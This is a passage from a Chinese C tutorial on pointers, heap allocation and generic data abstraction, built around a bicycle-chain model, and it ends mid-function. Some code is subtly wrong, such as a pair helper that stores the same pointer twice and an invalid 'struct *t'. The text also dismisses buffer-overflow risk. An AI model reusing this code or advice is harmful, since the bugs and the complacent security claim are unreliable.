如果你从未学过 C 语言，读到此处可能会问，我们为什么要在内存中存储内存地址？不知你是否住过宾馆。在正规的宾馆里，每个房间的门后都会贴着逃生路线图，图中『存储』了该宾馆与你的房间同一楼层内的全部房间的门牌号以及它们的布局。如果你住酒店时从来也不看逃生路线图，那么从现在开始，入住酒店后第一件事就是认真的看一下它，关键时刻它能救你一命。在内存中存储内存地址，虽然不是救你性命的，但是可以藉此构造与宾馆逃生路线图相似的抽象事物——内存数据的抽象与复合。



内存空间的有名与无名

现在来看两行 C 代码：

int foo = 10;
int *bar = &foo;

foo 是什么？foo 表示一个内存地址。foo 前面的 int 是数据类型修饰，它表示 foo 是内存中 4 个连续字节的首字节地址（ 64 位机器上，int 类型的数据长度为 4 个字节）。C 编译器总是会根据某个内存地址相应的类型来确定以该内存地址起始的一段连续字节中所存储的数据的逻辑意义。因此，当我们用 int 类型来修饰 foo，编译器就会认为以 foo 开始的连续 4 个字节中存储的数据是一个整型数据。在上述代码中，这个整型数据是 10，我们通过赋值运算符 = 将这个整型数保存到内存中以 foo 地址开始的连续 4 个字节中。

从此刻开始，要记住一个事实，那就是 C 语言中所有的变量名，本质上都是内存地址。之所以不直接使用内存地址，而是使用一些有意义的名字，这就类似于没人愿意用你的身份证号来称呼你，大家更愿意用你的姓名来称呼你。

由于 C 语言认为数据的长度是由其类型确定的。例如，int 类型的数据长度是 4 个字节，char 类型的数据长度是是 1 个字节，用户自定义的 struct 类型的数据长度则是根据实际情况而待定。在这种情况下，所有表示内存地址的名字，它们实质上表示的是内存中各种类型数据存储空间的起始地址——专业一点，就是基地址。凡是用名字来表示基地址的内存空间，我们就将其称为有名的内存空间。

再来看 bar 是什么？bar 是内存地址的名字，由于 bar 前面有个 * 号，这表示我们打算在以 bar 为基地址的连续 8 个字节中存储一个内存地址（别忘了，我们是在 64 位机器上，指针数据的长度是 8 个字节）——foo 所表示的那个地址，亦即 &foo。在这里， & 是取值符，它会对 foo 说，你甭给我耍花样了，老实交代你的身份证号！在* 之前还有 int，这意味着在以 bar 为基地址的连续 8 个字节中存储的那个内存地址是某个用于存储整型数据的内存空间的基地址。

由于 bar 是某个内存空间的基地址，而这个内存空间中存储的是一个内存地址，所以 bar 就是所谓的指针。在这里，我们可以认为 bar 是对某块以 foo 为基地址的内存空间的『引用』，也就是在一个房间号为 bar 的房间里存储了房间号 foo。按照 C 语言教材里常用的说法，可将 int *bar = &foo 这件事描述为『指针 bar 指向了整型变量 foo』，然而事实上内存里哪有什么针，哪有什么指向？一切都是内存空间的引用。在上面的例子里，我们是用 foo 来直接引用某个内存空间，然后又使用 bar 来间接引用某个内存空间。

在上面的例子里，bar 引用的是一个有名的内存空间。那么有没有无名的内存空间呢？看下面的代码：

int *bar = malloc(sizeof(int));

malloc(sizeof(int)) 就是一个无名的内存空间，因为它是一个表达式，而这个表达式描述的是一系列行为，行为需要借助动词来描述，而无法用名词来描述。比如『我在写文章』，这种行为无法只使用名词来描述，必须借助动词。任何会终止的行为都可表示为一系列的状态的变化，也就是说任何会终止的行为都会产生一个结果，而这个结果可以用名词来描述。例如 malloc(sizeof(int)) 这个行为就是可终止的，它的结果是它在内存所开辟 4 个字节的空间的基地址，这个基地址是没有名字的，所以它就是个无名的基地址，因此它对应的内存空间就是无名的内存空间。在上例中，我们将这个无名的内存空间的基地址保存到了一个有名的内存空间——以 bar 为基地址的内存空间。

C 语言的创始人—— Dennis Ritchie 与 Brian Kernighan 将带名字的存储空间称为对象（Object）——并非『面向对象编程』中的对象，然后将指代这个对象的表达式称为左值（lvalue）。也就是说，在 C 语言中，上例中的 foo 与 bar 都是左值，因为它们总是能够参与取址运算，或者通俗的认为它们总是能够出现在赋值运算符的左侧。

看下面的代码：

int foo = 10;
int *bar = &foo;
printf("%d", *bar);

第三行的 printf 语句中的 *bar 也是一个左值，因为它指代了一个有名字的存储空间，这个存储空间的名字就叫做 *bar。这个存储空间其实就是以 foo 为基地址的存储空间。在表达式 *bar 中， * 号的作用是解引用，就是将以 bar 为基地址的内存空间中存储的内存地址取出来，然后去访问这个内存地址对应的内存空间。由于 *bar 的类型是 int，所以程序自身就可以知道要访问的是以 *bar 为基地址的 4 个字节，因此它可以准确无误的将整型数据 10 取出来并交给 printf 来显示。

指针最黑暗之处在于，当你拿到了一块内存空间的基地址之后，你可以借助这个基地址随意访问内存中的任何区域！也就是说，你可以从通过指针获得内存空间的入口，然后你可以让你的程序在内存中随便逛，随便破坏，然后你的程序可能就崩溃了。你的程序如果隐含缓冲区溢出漏洞，它甚至可被其他程序控制着去执行一些对你的系统非常不利的代码，这就是所谓的缓冲区溢出攻击。C 语言不提供任何缓冲区保护机制，能否有效保护缓冲区，主要取决于你的 C 编程技艺。

现在我们写 C 程序时，基本上不需要担心自己的程序会遭遇缓冲区溢出攻击。因为只有那些被广泛使用的 C 程序才有这种风险；如果很不幸，你写的 C 程序真的被很多人使用了，那也不需要太担心。《深入理解计算机系统》在 3.12 节『存储器的越界引用和缓冲区溢出』中告诉我们，现代操作系统对程序运行时所需要的栈空间是随机生成的，导致攻击者很难获得栈空间中的某个确定地址，至少在 Linux 系统中是这样子。C 语言编译器提供了栈破坏检测——至少在 GCC 中是这样，其原理就是程序的栈空间放置了一只『金丝雀』，程序在运行中一旦发现有袭击『金丝雀』的可耻代码，它就会异常终止。处理器层面也对可执行代码所在的内存区域进行了限定，这样攻击者很难再向程序的栈空间插入攻击系统的可执行代码了。



栈与堆

如果我说 C 语言是一种部分支持垃圾内存回收的语言……你可能会认为我脑子坏掉了。事实上，C 语言中的所有的局部变量包括指针超出作用域时，它们所占据的存储空间都会被『回收』。这算不算内存垃圾回收？

从 C 程序的角度来看，内存并非一个以字节为单位的一个很大但是又经常不够用的空间，不是一个，而是两个。其中一个空间叫栈，另一个空间叫堆。可被 C 程序『回收』存储空间是栈空间。也就是说，在一个函数中，所有的局部变量所占据的存储空间属于栈空间。可能再说的学术一点，就是绝大多数左值都在栈空间（有人在很遥远的地方指出，全局变量是左值，但它不在栈空间，它与程序同寿，与进程齐光）。

当一个函数运行结束，它所占据的栈空间就不再属于它了，而是将会被一个新的待运行的函数占据。所以，从本质上说，C 程序对栈空间的回收都不屑一顾，因为它根本不回收，而是旧的数据会被新的数据覆盖。

堆空间，我们在程序里无法直接访问，只能借助指针。因为堆空间的内存地址可被指针引用。例如，当使用 malloc 分配空间时，所分配空间的基地址总是保存在一个位于栈空间的指针中的。

栈空间通常远远小于堆空间，即便如此也几乎不会出现某个函数会耗尽栈空间的现象。如果这种现象出现了，那只能证明造出这种现象的程序猿应该继续学习 C 语言了。栈空间被耗尽，往往是因为有些程序本来是写成递归，但可能是代码写错了，导致递而不归；还有一种可能是递归层次太深，这时可以想办法在堆空间中模拟一个栈来解决。还有一种情况就是在函数中定义了很大的数组，导致栈空间放不下……这种情况总是可以靠分配堆空间来解决。

数据的抽象

当你具备了一些 C 编程基础，并且能够理解上文中的内容，那么你就可以对各种类型的数据进行抽象了。

我们为什么要对数据进行抽象？《计算机程序的构造和解释》的第 2 章的导言部分给出了很好的答案，即：许多程序在设计时就是为了模拟复杂的现象，因为它们就常常需要构造出一些运算对象，为了能够模拟真实世界中的现象的各个方面，需要将运算对象表示为一些组件的复合结构。

下面来对自行车链的任意一个链节进行模拟：



struct chain_node {
        struct chain_node *prev;
        struct chain_node *next;
        void *shape;
};

然后我们可以造出 3 个链节，然后可以造出世界上最短的车链：

struct chain_node a, b, c;

a.next = &b;
b.prev = &a;

b.next = &c;
c.prev = &b;

c.next = &a;
a.prev = &c;

如果再多造一些链节，就可以得到周长大一些的车链，也能够制造出各种形状的多边形，但是最好是借助无名的内存空间。下面的代码可以创建一条具有 1000 个链节的链条：

struct chain_node *head = malloc(sizeof(struct chain_node));
struct chain_node *tail = head;
for (int i = 0; i < 1000; i++) {
        struct chain_node *new_tail = malloc(sizeof(struct chain_node));
        tail->next = new_tail;
        new_tail->prev = tail;
        tail = new_tail;
}
tail->next = head;
head->prev = tail;

如果我们将前面那个示例中的 a，b, c 视为三角形的三个顶点，那么我们所创造的三个链节构成的链条就变成了一个三角形。同理，上述所创建的 1000 个链节的链条就变成了一个 1000 条边首尾相接的多边形。如果学过拓扑学，那么自然可以发现任何与圆环同胚的结构都可以基于 struct chai_node 这种数据结构模拟出来，而我们所仰仗的东西仅仅是将三个指针封装到一个结构体中。

事实上，struct chain_node 中的第三个指针 void *shape 还没被用到。这是一个 void * 类型的指针，是喜欢用 C 代码玩各种抽象的程序猿的最爱，因为它能引用任何类型数据所在内存空间的基地址。这就意味着 struct chain_node 可以借助 shape 指针获得强大的扩展能力。

现在，我要制造一种很简陋的链节，它的形状仅仅是一个矩形的小铁片，上面打了两个小圆孔。我将它的数据结构设计为：

struct point {
        double x;
        double y;
};

struct rectangle {
        double width;
        double height;
};

struct circle {
        struct point *center;
        double radius;
};

struct chain_node_shape {
        struct rectangle *body;
        struct circle *holes[2] ;
};

基于这些数据结构，我就可以写出一个专门用来制造矩形小铁片的函数：

struct chain_node_shape *
create_chain_node_shape(struct circle *c1,
                        struct circle *c2,
                        struct rectangle *rect) 
{
        struct chain_node_shape *ret = malloc(sizeof(struct chain_node_shape));
        ret->body = rect;
        ret->holes[0] = c1;
        ret->holes[1] = c2;
        return ret;
}

然后再为 create_chain_node_shape 所接受的两种参数写出相应的构造函数：

struct circle *
create_circle(struct point *center, double radius)
{
        struct circle *ret = malloc(sizeof(struct circle));
        ret->center = center;
        ret->radius = radius;
        return ret;
}

struct rectangle *
create_rectangle(double w, double h)
{
        struct rectangle *ret = malloc(sizeof(struct rectangle));
        ret->width = w;
        ret->height = h;
        return ret;
}

为了让 create_circle 更方便使用，最好再创建一个 struct point 的构造函数：

struct point *
create_point(double x, double y)
{
        struct point *ret = malloc(sizeof(struct point));
        ret->x = x;
        ret->y = y;
        return ret;
}

一切所需要的构件都已准备完毕，现在可以开始生产某种特定型号的链节了，即：

struct chain_node *
create_chain_node(void)
{
        double radius = 0.5;
        double left_x = 1.0;
        double left_y = 1.0;
        struct point *left_center = create_point(left_x, left_y);
        struct circle *left_hole = create_circle(left_center, radius);
        double right_x = 9.0;
        double right_y = 1.0;
        struct point *right_center = create_point(right_x, right_y);
        struct circle *right_hole = create_circle(right_center, radius);
        struct rectangle *body = create_rectangle(10.0,  2.0);

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = create_chain_node_shape(left_hole, right_hole, body);
        return ret;
}

最后再将制造链条的代码略作修改：

struct chain_node *head = create_chain_node();
struct chain_node *tail = head;
for (int i = 0; i < 1000; i++) {
        struct chain_node *new_tail = create_chain_node();
        tail->next = new_tail;
        new_tail->prev = tail;
        tail = new_tail;
}
tail->next = head;
head->prev = tail;

现在我们所模拟的车链与现实中的车链已经有些形似了。上述代码虽然有些冗长，下文会对其进行重构，现在先来总结一下上述代码中指针的用法。

仔细观察上述代码中我们所定义的结构体，它们的共同特征是：所有非 C 内建的数据类型都是结构体类型，当它们作为某个结构体成员类型时均被声明为指针类型。为什么要这样？如果你真的打算问这个问题，那么就请你观察一下上述的 5 个 create_xxx 函数，你会发现这些 create 函数的参数与返回值也都是结构体类型的指针。将这些现象综合起来，可以得出以下结论：


	将结构体指针作为函数的参数与返回值，可以避免函数调用时发生过多的内存复制。


	当一个结构体类型作为其他结构体的成员类型时，将前者声明为指针类型，可以在后者的 create 函数中避免繁琐的解引用。


	void * 指针可以引用任意类型的数据存储空间的基地址。例如在 create_chain_node 函数的定义中，我们将一个 struct chain_node_shape 类型的指针赋给了 void * 类型的指针 shape。




这三条结论是指针在数据抽象中的惯用手法，它不仅关系到数据结构的设计，也关系到数据结构的构造与销毁函数的设计。（上述代码为了省事，没有定义数据结构的销毁函数）

数据再抽象

上一节的代码有些冗长，我们可以尝试对其进行精简。首先看下面这三个结构体及其 create 函数：

struct point {
        double x;
        double y;
};

struct rectangle {
        double width;
        double height;
};

struct circle {
        struct point *center;
        double radius;
};

struct chain_node_shape {
        struct rectangle *body;
        struct circle *holes[2] ;
};

struct point *
create_point(double x, double y)
{
        struct point *ret = malloc(sizeof(struct point));
        ret->x = x;
        ret->y = y;
        return ret;
}

struct circle *
create_circle(struct point *center, double radius)
{
        struct circle *ret = malloc(sizeof(struct circle));
        ret->center = center;
        ret->radius = radius;
        return ret;
}

struct rectangle *
create_rectangle(double w, double h)
{
        struct rectangle *ret = malloc(sizeof(struct rectangle));
        ret->width = w;
        ret->height = h;
        return ret;
}

struct chain_node_shape *
create_chain_node_shape(struct circle *c1,
                        struct circle *c2,
                        struct rectangle *rect) 
{
        struct chain_node_shape *ret = malloc(sizeof(struct chain_node_shape));
        ret->body = rect;
        ret->holes[0] = c1;
        ret->holes[1] = c2;
        return ret;
}

显然，这些代码长的太像了！那四个结构体都是存储两个成员的结构体，而相应的 create 函数也无非是将函数所接受的参数保存到结构体成员中。有没有办法用很少的代码来表示它们？有！

既然每个结构体都保存 2 个成员，那么我们就先将上述代码删掉，然后定义一个 pair 类型的结构体：

struct pair {
        void *first;
        void *second;
};

在 pair 结构体中，我们用了两个 void * 指针，只有如此我们方能很自信的说 pair 可以存储任意类型的两个数据。接下来，只需修改 create_chain_node 函数的定义：

struct chain_node *
create_chain_node(void)
{
        double *left_x = malloc(sizeof(double));
        double *left_y = malloc(sizeof(double));
        *left_x = 1.0;
        *left_y = 1.0;
        struct pair *left_center = malloc(sizeof(struct pair));
        left_center->first = left_x;
        left_center->second = left_y;
        double *left_radius = malloc(sizeof(double));
        *left_radius = 0.5;
        struct pair *left_hole = malloc(sizeof(struct pair));
        left_hole->first = left_center;
        left_hole->second = left_radius;

        double *right_x = malloc(sizeof(double));
        double *right_y = malloc(sizeof(double));
        *right_x = 9.0;
        *right_y = 1.0;
        struct pair *right_center = malloc(sizeof(struct pair));
        right_center->first = right_x;
        right_center->second = right_y;
        double *right_radius = malloc(sizeof(double));
        *right_radius = 0.5;
        struct pair *right_hole = malloc(sizeof(struct pair));
        right_hole->first = right_center;
        right_hole->second = right_radius;

        struct pair *holes = malloc(sizeof(struct pair));
        holes->first = left_hole;
        holes->second = right_hole;
        
        struct pair *body = malloc(sizeof(struct pair));
        double *width = malloc(sizeof(double));
        *width = 10.0;
        double *height = malloc(sizeof(double));
        *height = 2.0;
        body->first = width;
        body->second = height;

        struct pair *shape = malloc(sizeof(struct pair));
        shape->first = body;
        shape->second = holes;

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;
}

我勇敢的承认这个基于 struct pair 的 create_chain_node 函数太丑陋了，但是我们总算是消除了大量的结构体及其构造函数了，而且整体代码量减少了大约 1/6。

仔细观察上述代码，显然下面的三段代码存在着高度的重复：

        double *left_x = malloc(sizeof(double));
        double *left_y = malloc(sizeof(double));
        *left_x = 1.0;
        *left_y = 1.0;
        struct pair *left_center = malloc(sizeof(struct pair));
        left_center->first = left_x;
        left_center->second = left_y;

        double *right_x = malloc(sizeof(double));
        double *right_y = malloc(sizeof(double));
        *right_x = 9.0;
        *right_y = 1.0;
        struct pair *right_center = malloc(sizeof(struct pair));
        right_center->first = right_x;
        right_center->second = right_y;

        struct pair *body = malloc(sizeof(struct pair));
        double *width = malloc(sizeof(double));
        *width = 10.0;
        double *height = malloc(sizeof(double));
        *height = 2.0;
        body->first = width;
        body->second = height;

这三段代码都在向 pair 结构体中存入两个 double * 类型的数据。既然如此，我们可以专门写一个函数，让它生成面向 double * 的 pair 结构体，即：

struct pair *
pair_for_double_type(double x, double y)
{
        struct pair *ret = malloc(sizeof(struct pair));
        double *first = malloc(sizeof(double));
        double *second = malloc(sizeof(double));
        *first = x;
        *second = y;
        ret->first = first;
        ret->second = first;
        return ret;
}

然后再次重构 create_chain_node 函数：

struct chain_node *
create_chain_node(void)
{
        struct pair *left_center = pair_for_double_type(1.0, 1.0);
        double *left_radius = malloc(sizeof(double));
        *left_radius = 0.5;
        struct pair *left_hole = malloc(sizeof(struct pair));
        left_hole->first = left_center;
        left_hole->second = left_radius;

        struct pair *right_center = pair_for_double_type(9.0, 1.0);
        double *right_radius = malloc(sizeof(double));
        *right_radius = 0.5;
        struct pair *right_hole = malloc(sizeof(struct pair));
        right_hole->first = right_center;
        right_hole->second = right_radius;

        struct pair *holes = malloc(sizeof(struct pair));
        holes->first = left_hole;
        holes->second = right_hole;
        
        struct pair *body = pair_for_double_type(10.0, 1.0);
        
        struct pair *shape = malloc(sizeof(struct pair));
        shape->first = body;
        shape->second = holes;

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;
}

山重水复疑无路

经过再次重构后的 create_chain_node 看上去要好了一些，但是依然有两段代码存在高度重复：

        struct pair *left_center = pair_for_double_type(1.0, 1.0);
        double *left_radius = malloc(sizeof(double));
        *left_radius = 0.5;
        struct pair *left_hole = malloc(sizeof(struct pair));
        left_hole->first = left_center;
        left_hole->second = left_radius;

        struct pair *right_center = pair_for_double_type(9.0, 1.0);
        double *right_radius = malloc(sizeof(double));
        *right_radius = 0.5;
        struct pair *right_hole = malloc(sizeof(struct pair));
        right_hole->first = right_center;
        right_hole->second = right_radius;

但是仅从 pair 结果体层面已经无法对这两段代码进行简化了，而且我又非常不想写一个像下面这样的辅助函数：

struct pair *
create_hole(struct pair *center, double radius)
{
        struct pair *ret = malloc(sizeof(struct pair));
        double *r = malloc(sizeof(double));
        *r = radius;
        ret->first = center;
        ret->second = r;
        return ret;
}

虽然 create_hole 能够将上述两段重复的代码简化为：

        struct pair *left_center = pair_for_double_type(1.0, 1.0);
        struct pair *left_hole = create_hole(left_center, 0.5);

        struct pair *right_center = pair_for_double_type(9.0, 1.0);
        struct pair *right_hole = create_hole(right_center, 0.5);

但是与 pair_for_double_type 函数相比，create_hole 这个函数的应用范围非常狭小。由于 pair_for_double_type 函数可以将两个 double 类型的数据存储到 pair 结构体中，在我们的例子中创建二维点与矩形可以用到它，在科学计算中创建极坐标、复数以及所有的二次曲线方程式也都都能用到它，但是 create_hole 却只能在创建车链这件事上有点用处。也就是说，正是因为  pair_for_double_type 函数所取得的成功，导致我们认为 create_hole 的品味太低。我们应该想一想还有没有其他途径可以消除上述代码的重复。

仔细分析 left_hole 与 right_hole 的构造过程，不难发现 hole 的 center 与 radius 这两种数据的类型不一致是造成我们难以对上述重复的代码进行有效简化的主要原因，create_hole 之所以能够对上述重复的代码进行大幅简化，是因为它根据我们的问题构造了一个特殊的 pair 结构体——姑且称之为 X，这个结构体的特殊之处在于其 first 指针存储的是一个面向 double * 的同构类型的 pair 结构体，其  second 指针则存储了一个 double 类型数据的基地址。正是因为 X 的结构太特殊了，所以导致 create_hole 这种抽象的应用范围过于狭隘，以至于现实中只有圆形比较符合这种结构体。

既然是异构的 pair，而我们已经实现了一个可以创建存储 double 类型数据的 pair 的函数 pair_for_double_type，这个函数的结果是可以直接存入异构 pair 中的。现在我们缺少只是一个可以将 double 值转化为可直接存入异构 pair 的函数，即：

double *
malloc_double(double x)
{
        double *ret = malloc(sizeof(double));
        *ret = x;
        return ret;
}

有了这个函数，就可以对 create_chain_node 继续进行简化了：

struct chain_node *
create_chain_node(void)
{
        struct pair *left_hole = malloc(sizeof(struct pair));
        left_hole->first = pair_for_double_type(1.0, 1.0);;
        left_hole->second = malloc_double(0.5);

        struct pair *right_hole = malloc(sizeof(struct pair));
        right_hole->first = pair_for_double_type(9.0, 1.0);;
        right_hole->second = malloc_double(0.5);

        struct pair *holes = malloc(sizeof(struct pair));
        holes->first = left_hole;
        holes->second = right_hole;

        struct pair *body = pair_for_double_type(10.0, 1.0);

        struct pair *shape = malloc(sizeof(struct pair));
        shape->first = body;
        shape->second = holes;

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;
}

而且，基于 malloc_double 函数，还能对 pair_for_double_type 函数进行简化：

struct pair *
pair_for_double_type(double x, double y)
{
        struct pair *ret = malloc(sizeof(struct pair));
        ret->first = malloc_double(x);
        ret->second = malloc_double(y);
        return ret;
}

事实上，如果我们再有一个这样的函数：

struct pair *
pair(void *x, void *y)
{
        struct pair *ret = malloc(sizeof(struct pair));
        ret->first = x;
        ret->second = y;
        return ret;
}

还能对 reate_chain_node 再做一步简化：

struct chain_node *
create_chain_node(void)
{
        struct pair *left_hole = pair(pair_for_double_type(1.0, 1.0), malloc_double(0.5));
        struct pair *right_hole = pair(pair_for_double_type(9.0, 1.0), malloc_double(0.5));
        struct pair *holes = pair(left_hole, right_hole);
        struct pair *body = pair_for_double_type(10.0, 1.0);
        struct pair *shape = pair(body, holes);

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;
}

看到了吧，只要略微换个角度，很多看似难以简化的代码都能得以简化。这个简化的过程一直是在指针的帮助下进行的，但事实上，当你的注意力一直集中在怎么对代码进行简化时，指针的使用简直就是本能一样的存在，以至于你觉得你并没有借助指针的任何力量，完全是你自己的逻辑在指导着你的行为。在这个过程中，无论是面向对象还是面向模板，都很难将你从冗长的代码中拯救出来……

面向什么，可能就会失去未面向的那些

在上文中模拟车链的程序中，我一开始是用面向对象的方式来写的，所以我造出了 5 个结构体，分别描述了二维点、矩形、圆形、链节形状以及链节等对象，结果却出现了一大堆繁琐的代码。虽然面向对象编程，在思维上是非常简单的，那就是现实中有什么，我们就模拟什么。但是你认真思考一下，现实中其实很多东西都有共性，如果你傻乎乎的去逐个模拟，而忽略它们的共性，那么你的代码绝对会非常臃肿。

当然，面向对象编程也提倡从所模拟的事物中提取共性，然后借助继承的方式来简化代码。但是一旦信仰了类与继承，你能做的最好的抽象就是对某一类事物进行抽象，比如你能够对『车』类的事物进行抽象，但是你却无法将对『飞机』和『车』这两类中的事物进行抽象。显然，飞机与车是有共性的，例如它们都能载客，都有仪表盘，都有窗户，都有座位，都有服务员……

当我发现基于面向对象创造的那些结构体存在着一个共性——它们都包含着两个成员，很自然的就会想到我应该制造一个包含着两个任意类型的结构体 pair，然后用 pair 来容纳我需要的数据。当面向对象编程范式在你的思想中根深蒂固，这种简单的现象往往会被忽略的，特别是你已经满足于你写的程序已经能够成功的运行之时。

接下来，当我试图用 pair 结构体取代二维点、矩形、圆形、链节形状等结构体的时候，我就开始走上了『泛型』的道路。C 语言里没有 C++ 模板这种工具可以用，所以我只能依赖 void *，而且为了简化 double 类型的数据向 void * 的转化，所以定义了：

double *
malloc_double(double x)
{
        double *ret = malloc(sizeof(double));
        *ret = x;
        return ret;
}

struct pair *
pair_for_double_type(double x, double y)
{
        struct pair *ret = malloc(sizeof(struct pair));
        ret->first = malloc_double(x);
        ret->second = malloc_double(y);
        return ret;
}

如果你对 C++ 的泛型编程有所了解，一定会觉得 pair_for_double_type 函数其实就是对 pair 进行特化。因为本来我是希望 pair 能存储任意类型的数据的，但是现在我需要频繁的用它来存储一对 double 类型的数据，那么我就应该去制造一个专用的 pair 结构。

当我发现我需要频繁的产生 pair 实例，并向它的 first 与 second 指针中存储某些类型的数据存储空间的基地址，所以我就将这种共性抽象为：

struct pair *
pair(void *x, void *y)
{
        struct pair *ret = malloc(sizeof(struct pair));
        ret->first = x;
        ret->second = y;
        return ret;
}

最终使得 create_chain_node 函数的定义即简洁又清晰：

struct chain_node *
create_chain_node(void)
{
        struct pair *left_hole = pair(pair_for_double_type(1.0, 1.0), malloc_double(0.5));
        struct pair *right_hole = pair(pair_for_double_type(9.0, 1.0), malloc_double(0.5));
        struct pair *holes = pair(left_hole, right_hole);
        struct pair *body = pair_for_double_type(10.0, 1.0);
        struct pair *shape = pair(body, holes);

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;
}

原来我用面向对象编程范式所写的代码是 104 行，换成泛型编程范式所写的代码是 75 行。那么我可以断定，是泛型编程拯救了面向对象吗？当然不能！因为我们的程序还没有写完，我们还需要面向对象。

对象的回归

先摆出 create_chain_node 函数：

struct chain_node *
create_chain_node(void)
{
        struct pair *left_hole = pair(pair_for_double_type(1.0, 1.0), malloc_double(0.5));
        struct pair *right_hole = pair(pair_for_double_type(9.0, 1.0), malloc_double(0.5));
        struct pair *holes = pair(left_hole, right_hole);
        struct pair *body = pair_for_double_type(10.0, 1.0);
        struct pair *shape = pair(body, holes);

        struct chain_node *ret = malloc(sizeof(struct chain_node));
        ret->prev = NULL;
        ret->next = NULL;
        ret->shape = shape;
        return ret;
}

create_chain_node 函数可以创建链节，它是借助很抽象的 pair 结构体将很多种类型的数据层层封装到了 chain+node 结构体中，那么我们如何从 chain_node 结构体中提取这些数据，并使之重现它们所模拟的现实事物？

例如，我们怎样从 chain_node 结构体中获取一个 left_hole 的信息？显然，下面的代码

struct *t = create_chain_node();
struct pair *shape = t->shape;
struct pair *holes = shape->second;
struct pair *left_hole = holes->first;

并不能解决我们的问题，因为 left_hole 中只是两个 void * 指针，而我们需要知道的是 left_hole 的中心与半径。那么我们继续：

struct pair *center = left_hole->first;
double radius = *((double *)(left_hole->second));

依然没有解决我们的问题，因为我们想要的是 left_hole 的中心，而不是一个包含着两个 void * 指针的 center，所以需要继续：

double center_x = *((double *)(center->first));
double center_y = *((double *)(center->second));

最后我们得到了三个 double 类型的数据，即 center_x, center_y, radius，于是似乎我们的任务完成了，但是你如何将上述过程写成一个函数 get_left_hole？ C 语言中的函数只能有一个返回值。如果通过函数的参数来返回一些值，那么 get_left_hole 是能写出来的，例如：

void get_left_hole(struct chain_node *t, double *x, double *y, double *r)
{
        struct pair *shape = t->shape;
        struct pair *holes = shape->second;
        struct pair *left_hole = holes->first;
        struct pair *center = left_hole->first;
        *x = *((double *)(center->first));
        *y = *((double *)(center->second));
        *r = *((double *)(left_hole->second));
}

但是，如果你真的这么写了，那只能说明再好的编程语言也无法挽救你的品味。

我们应该继续挖掘指针的功能，像下面这样定义 get_left_hole会更好一些：

struct point {
        double *x;
        double *y;
};
struct hole {
        struct point *center;
        double *radius;
};

struct hole *
get_left_hole(struct chain_node *t)
{
        struct pair *shape = t->shape;
        struct pair *holes = shape->second;
        return holes->first;
}

好在哪？我们充分利用了 C 编译器对数据类型的隐式转换，这实际上就是 C 编译器的一种编译期计算。这样做可以避免在代码中出现 *((double *)(...)) 这样的代码。void * 指针总是能通过赋值语句自动转换为左值，前提是你需要保证左值的类型就是 void * 的原有类型。这是 C 语言的一条清规戒律，不能遵守这条戒律的程序猿，也许再好的编程语言也无法挽救他。

C++ 这个叛徒，所以无论它有多么强大，也无法拯救那些无法保证左值的类型就是 void * 原有类型的程序猿。用 C++ 编译器迫使程序猿必须将

struct pair *shape = t->shape;
struct pair *holes = shape->second;

写成：

struct pair *shape = (struct pair *)(t->shape);
struct pair *holes = (struct pair *)(shape->second);

否则代码就无法通过编译。这样做，除了让代码更加混乱之外，依然无法挽救那些无法保证左值的类型就是 void * 原有类型的程序猿，只会让他们对裸指针以及类型转换这些事非常畏惧，逐渐就走上了惟类型安全的形而上学的道路。C++ 11 带来了新的智能指针以及右值引用，希望他们能得到这些新 C++ 式的拯救吧。

当我们用面向对象的思路实现了 get_left_hole 之后，就可以像下面这样使用它：

struct *t = create_chain_node();
struct hole *left_hole = get_left_hole(t);
printf("%lf, %lf, %lf\n", *(left_hole->center->x), *(left_hole->center->y), *(left_hole->radius));

一切都建立在指针上了，只是在最后要输出数据的需用 * 对指针进行解引用。

上述代码中有个特点，left_hole 并不占用内存，它仅仅是对 t 所引用的内存空间的再度引用。可能有人会担心 left_hole 具有直接访问 t 所引用的内存空间的能力是非常危险的……有什么危险呢？你只需要清楚 left_hole 只是对其他空间的引用，而这种直觉很容易在使用一段时间的指针之后就能够建立。有了指针，你想修改 left_hole 所引用的内存空间中的数据，就可以 do it，不想修改就不去 do it，这有何难？如果自己并不打算去修改 left_hole 所引用的内存空间中的数据，但是又担心自己或他人会因为失误而修改了这些数据……你应该将这些担心写到有关 get_left_hole 函数的文档里。试图从语言自身的层面来确保内存空间的读写权限，结果必然会让代码充满了与所解决的问题毫无关系的杂碎代码，你变成了装在套子里的人，你的程序变成了装在套子里的程序。

对于只需要稍加注意就可以很大程度上避免掉的事，非要从编程语言的语法层面来避免，这真的是小题大作了。如果我们在编程中对于 void * 指针的隐式类型正确转换率高达 99%，为何要为 1% 的失误而修改编程语言，使之充满各种巧妙迂回的技巧并使得代码愈加晦涩难懂呢？

《C 陷阱与缺陷》的作者给出了一个很好的比喻，在烹饪时，你用菜刀的时候是否失手切伤过自己的手？怎样改进菜刀让它在使用中更安全？你是否愿意使用这样一把经过改良的菜刀？作者给出的答案是：我们很容易想到办法让一个工具更安全，代价是原来简单的工具现在要变得复杂一些。食品加工机一般有连锁装置，可以保护使用者的手指不会受伤。然而菜刀却不同，如果给菜刀这种简单、灵活的工具安装可以保护手指的装置，只能让它失去简单性与灵活性。实际上，这样做得到的结果也许是一台食品加工机，而不再是一把菜刀。

我成功的将本节的题目歪到了指针上。现在再歪回来，我们来谈谈对象。其实已经没什么好谈的了，get_left_hole 返回的是泛型指针的类型具化，借助这种类型具化的指针我们可以有效避免对 pair 中的 void * 指针进行类型转换的繁琐过程。

将函数变成数据

再来看一下经过大幅简化的 create_chain_node 函数：

struct chain_node *
create_chain_node(void)
{
        struct pair *left_hole = pair(pair_for_double_type(1.0, 1.0), malloc_double(0.5));
        struct pair *right_hole = pair(pair_for_double_type(9.0, 1.0), malloc_double(0.5));
        struct pair *holes = pair(left_hole, right_hole);
        struct pair *body = pair_for_double_type(10.0, 1.0);
        struct pair *shape = pair(body, holes);

        struct chain_node *ret = malloc(sizeof(struct chain_node));
